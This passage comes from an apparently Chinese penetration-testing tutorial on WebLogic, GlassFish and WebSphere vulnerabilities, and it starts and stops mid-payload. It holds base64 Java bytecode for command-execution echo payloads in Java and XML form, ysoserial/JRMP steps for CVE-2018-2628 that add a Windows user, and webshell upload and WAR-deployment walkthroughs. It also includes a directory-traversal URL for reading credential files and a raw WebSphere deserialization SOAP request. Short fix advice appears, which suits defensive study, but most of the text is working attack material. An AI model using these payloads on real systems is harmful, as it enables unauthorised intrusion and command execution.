ABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq\";"                + "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"                + "byte[] bt = decoder.decodeBuffer(R);"                + "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"                + "Class cl = cls.defineClass(\"ResultBaseExec\",bt);"                + "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});"                + "Object object = m.invoke(cl.newInstance(),new Object[]{ua});"                + "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();\n"                + "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n"                + "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n"                + "outputStream.flush();\n"                + "response.getWriter().write(\"\");"                + "");

然後運行JDK7u21,編譯生成Byte[], 執行。

Weblogic 12.1.3 回顯構造.

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
clazz.makeClassInitializer()        .insertAfter(""                + "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader(\"lfcmd\");\n"                + "String R = \"yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq\";"                + "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"                + "byte[] bt = decoder.decodeBuffer(R);"                + "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"                + "Class cl = cls.defineClass(\"ResultBaseExec\",bt);"                + "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});"                + "Object object = m.invoke(cl.newInstance(),new Object[]{ua});"                + "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();\n"                + "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n"                + "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n"                + "outputStream.flush();\n"                + "response.getWriter().write(\"\");"                + "");

轉換成XMl格式,參考lufei給出的,稍微改一下。

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
<class><string>org.slf4j.ext.EventData</string><void><string>  <java>    <void class="sun.misc.BASE64Decoder">      <void method="decodeBuffer" id="byte_arr">  <string>yv66vgAAADIAXAoAGgArCAAsCgAtAC4KAAgALwgAMAoACAAxCgAyADMHADQIADUIADYKADIANwgAOAgAOQoAOgA7BwA8CgAPAD0HAD4KABEAPwgAQAoAEQBBBwBCCgAVACsKABUAQwoAFQBEBwBFBwBGAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHADQHAEcHAEgHADwHAD4BAApFeGNlcHRpb25zBwBJAQAKU291cmNlRmlsZQEAE1Jlc3VsdEJhc2VFeGVjLmphdmEMABsAHAEAB29zLm5hbWUHAEoMAEsAIAwATABNAQADd2luDABOAE8HAFAMAFEAUgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMAB8AUwEABy9iaW4vc2gBAAItYwcARwwAVABVAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAGwBWAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgwAGwBXAQAADABYAE0BABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAWQBaDABbAE0BAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQALdG9Mb3dlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABkAGgAAAAAAAgABABsAHAABAB0AAAAdAAEAAQAAAAUqtwABsQAAAAEAHgAAAAYAAQAAAAMACQAfACAAAgAdAAABCwAFAAgAAACTEgK4AANMK8YAKyu2AAQSBbYABpkAH7gABwa9AAhZAxIJU1kEEgpTWQUqU7YAC02nABy4AAcGvQAIWQMSDFNZBBINU1kFKlO2AAtNLLYADk67AA9ZLbcAEDoEuwARWRkEtwASOgUBOgYSEzoHGQW2ABRZOgbGABy7ABVZtwAWGQe2ABcZBrYAF7YAGDoHp//fGQewAAAAAgAeAAAAMgAMAAAABQAGAAcAFgAJADIADABLAA4AUAAPAFoAEABlABEAaAASAGwAEwB3ABUAkAAXACEAAAAuAAT8ADIHACL8ABgHACP/ACAACAcAIgcAIgcAIwcAJAcAJQcAJgcAIgcAIgAAIwAnAAAABAABACgAAQApAAAAAgAq</string>      </void>    </void>    <void class="org.mozilla.classfile.DefiningClassLoader">      <void method="defineClass">        <string>ResultBaseExec</string>        <object idref="byte_arr"></object>        <void method="newInstance">          <void method="exec" id="result">            <string>whoami</string>          </void>        </void>      </void>    </void>    <void class="java.lang.Thread" method="currentThread">      <void method="getCurrentWork" id="current_work">        <void method="getClass">          <void method="getDeclaredField">            <string>connectionHandler</string>              <void method="setAccessible"><boolean>true</boolean></void>            <void method="get">              <object idref="current_work"></object>              <void method="getServletRequest">                <void method="getResponse">                  <void method="getServletOutputStream">                    <void method="writeStream">                      <object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object>                      </void>                    <void method="flush"/>                    </void>                <void method="getWriter"><void method="write"><string></string></void></void>                </void>              </void>            </void>          </void>        </void>      </void>    </void>  </java></string></void></class>

執行:

 

Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)

Weblogic Server WLS Core Components反序列化命令執行漏洞(CVE-2018-2628),該漏洞通過t3協議觸發,可導致未授權的用戶在遠程服務器執行任意命令。

使用exploit.py腳本進行復現,具體使用方法見腳本。

Kail Attack :192.168.31.232
Win03 victim : 192.168.124.130

Kail 執行
1)下載ysoserial.jar
wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2)使用ysoserial.jar,啓動JRMP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
其中,[command]是想執行的命令,而[listen port]是JRMP Server監聽的端口。這裏我執行java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

3)執行exploit.py
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
其中,[victim ip]和[victim port]是目標weblogic的IP和端口,[path to ysoserial]是本地(Kail系統上的)ysoserial的路徑,[JRMPListener ip]和[JRMPListener port]第一步中啓動JRMP Server的IP地址和端口。[JRMPClient]是執行JRMPClient的類,可選的值是JRMPClient或JRMPClient2
這裏我執行python2 exploit.py 192.168.124.130 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.31.232 1099 JRMPClient2

結果如下:

修復建議

1、過濾t3協議。
在域結構中點擊 安全->篩選器
連接篩選器填: weblogic.security.net.ConnectionFilterImpl 保存後重啓Weblogic.

kail再次攻擊,Exp將報錯。

連接篩選器規則可參考官方文檔

2、安裝補丁,但是保不準下一次Weblogic縫縫補補的黑名單又被繞過。

Weblogic 任意文件上傳漏洞(CVE-2018-2894)

Weblogic Web Service Test Page中一處任意文件上傳漏洞,Web Service Test Page 在”生產模式”下默認不開啓,所以該漏洞有一定限制。

影響版本:12.1.3.0, 12.2.1.2, 12.2.1.3

下載Weblogic 12.1.3.0

安裝的時候將Weblogic放在Java JDK的bin目錄下,防止出現因環境變量帶空格導致的錯誤,安裝過程一直點擊下一步即可。

以下復現是在Weblogic開發模式下進行的,若需在生產模式下進行復現,則需要 登錄後臺頁面,點擊base_domain的配置,在”高級”設置中 開啓 “啓用 Web 服務測試頁” 選項,經過我的驗證發現開啓之後,不僅需要賬號密碼登陸,即使登陸了也沒有這兩處上傳點。

訪問 ws_utc/config.do,設置Work Home Dir爲ws_utc應用的靜態文件css目錄C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css,因爲訪問這個目錄是無需權限的,提交後,點擊左側 安全-> 添加,然後上傳Webshell。

點擊提交併抓包,獲取響應數據包中的時間戳。

然後訪問 http://127.0.0.1:7001/ws_utc/css/config/keystore/[時間戳]_[文件名],即可執行webshell:

訪問 ws_utc/begin.do,點擊右上角的文件夾,上傳Webshell,點擊提交,並抓包。

在返回數據包中得到Webshell路徑。

然後訪問

http://127.0.0.1:7001/ws_utc/css/upload/RS_Upload_2019-06-07_17-12-18_558/import_file_name_lxhspy.jsp

Note:
1)ws_utc/begin.do 使用的工作目錄是在ws_utc/config.do中設置的Work Home Dir。
2)利用需要知道部署應用的web目錄。
3)在生產模式下默認不開啓,在後臺開啓之後,需要認證

修復建議

啓動生產模式,
編輯domain路徑下的setDomainEnv.cmd文件,將set PRODUCTION_MODE= 更改爲 set PRODUCTION_MODE=true
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\bin\setDomainEnv.cmd
目前(2019/06/07) 生產模式下 已取消這兩處上傳文件的地方。

Weblogic SSRF漏洞 (CVE-2014-4210)

影響版本:10.0.2.0, 10.3.6.0

訪問 /uddiexplorer/SearchPublicRegistries.jsp,若能正常訪問,則可能存在此漏洞,填寫任意信息,如下

點擊Search,並抓包,抓包之後在Burp中右鍵,選擇Change request method, 將POST請求改變成GET。

參數operator爲SSRF的可控參數,將其更改爲開放的端口,如http://127.0.0.1:7001/,將返回error code

若開放端口爲HTTP協議,則會返回did not have a valid SOAP content-type。

訪問不存在的端口,將返回could not connect over HTTP to server

通過 返回數據包 中的錯誤信息,即可探測內網狀態。

修復建議

刪除SearchPublicRegistries.jsp文件或修改SearchPublicRegistries.jsp文件後綴爲不解析後綴,如SearchPublicRegistries.jspxxx,後重啓Weblogic,再次訪問,如下:

SearchPublicRegistries.jsp路徑爲:
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\5f6ebw\war

Weblogic 弱口令 && 後臺getshell

弱口令參考:https://cirt.net/passwords?criteria=WebLogic

訪問http://127.0.0.1:7001/console
自動重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陸後臺。

點擊部署,進一步點擊右邊的安裝。

點擊上載文件,

選擇war包,點擊下一步

上傳完成以後選中你上傳的文件,點擊下一步

選中作爲應用程序安裝,點擊下一步

然後直接點擊完成即可

選用我們安裝的應用,點擊啓動即可。

訪問:http://ip:port/[war包名]/[包名內文件名]

修復建議

避免後臺弱口令。

7、GlassFish

GlassFish 是用於構建 Java EE 5應用服務器的開源開發項目的名稱。它基於 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代碼以及 Oracle 貢獻的 TopLink 持久性代碼。該項目提供了開發高質量應用服務器的結構化過程,以前所未有的速度提供新的功能。

默認端口:8080(Web應用端口,即網站內容),4848(GlassFish管理中心)

默認返回的指紋信息:

  •  
  •  
Server: GlassFish Server Open Source Edition  4.1.2X-Powered-By: Servlet/3.1 JSP/2.3 (GlassFish Server Open Source Edition  4.1.2  Java/Oracle Corporation/1.8)

 

下載4.1.2版本

解壓後,進入glassfish/bin目錄下打開CMD窗口輸入asadmin start-domain啓動glassfish

asadmin stop-domain 停止glassfish

 

GlassFish Directory Traversal(CVE-2017-1000028)

java語言中會把%c0%af解析爲\uC0AF,最後轉義爲ASCCII字符的/(斜槓)。利用..%c0%af..%c0%af來向上跳轉,達到目錄穿越、任意文件讀取的效果。

計算機指定了UTF8編碼接收二進制並進行轉義,當發現字節以0開頭,表示這是一個標準ASCII字符,直接轉義,當發現110開頭,則取2個字節 去掉110模板後轉義。
UTF8編碼模板如下

C0AF 轉換位二進制爲 ‭‭110 00000 10 101111‬ ,110開頭去掉摸板後爲00000 101111 轉換爲10進製爲47,ASSCI爲/.

受影響版本:<=4.1.2版本

啓動GlassFish後 ,訪問
http://your-ip:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini, 發現成功讀取win.ini文件。

Note:如果在你的機器上不能成功讀取,請自行添加..%c0%af

讀admin-keyfile文件,該文件是儲存admin賬號密碼的文件,爆破。
位置在glassfish/domains/domain1/config/admin-keyfile

修復建議:升級GlassFish最新版本。

GlassFish 後臺Getshell

進入後臺後 Applications,右邊的deploy

選中war包後上傳,填寫Context Root 這個關係到你訪問的url,點擊Ok。

訪問http://127.0.0.1:8080/[Context Root]/[war包內的filename]

Note: 如果管理員不設置帳號本地會自動登錄,但是遠程訪問會提示配置錯誤。Configuration Error Secure Admin must be enabled to access the DAS remotely

修復建議

1.不開放後臺給外網,
2.若開放 密碼強度需設置 包含 大寫字母,小寫字母,數字,特殊字符,且長度大於10位。

 

8、WebSphere

WebSphere® Application Server 加速交付新應用程序和服務,它可以通過快速交付創新的應用程序來幫助企業提供豐富的用戶體驗。從基於開放標準的豐富的編程模型中進行選擇,以便更好地協調項目需求與編程模型功能和開發人員技能。

下載安裝7.0 WebSphere

指紋:
Server: WebSphere Application Server/7.0

登錄頁面:
http://127.0.0.1:9060/ibm/console/logon.jsp
https://127.0.0.1:9043/ibm/console/logon.jsp

Java反序列化(CVE-2015-7450)

訪問8880端口,出現如下界面,則可能存在Java反序列化漏洞

訪問8880,並抓包,然後替換如下Payload進行復現,注意更改下Host.

  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
  •  
POST / HTTP/1.1Host: 192.168.31.12:8880User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeContent-Type: text/xmlSOAPAction: urn:AdminServiceContent-Length: 8886<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header ns0:JMXConnectorContext="rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmU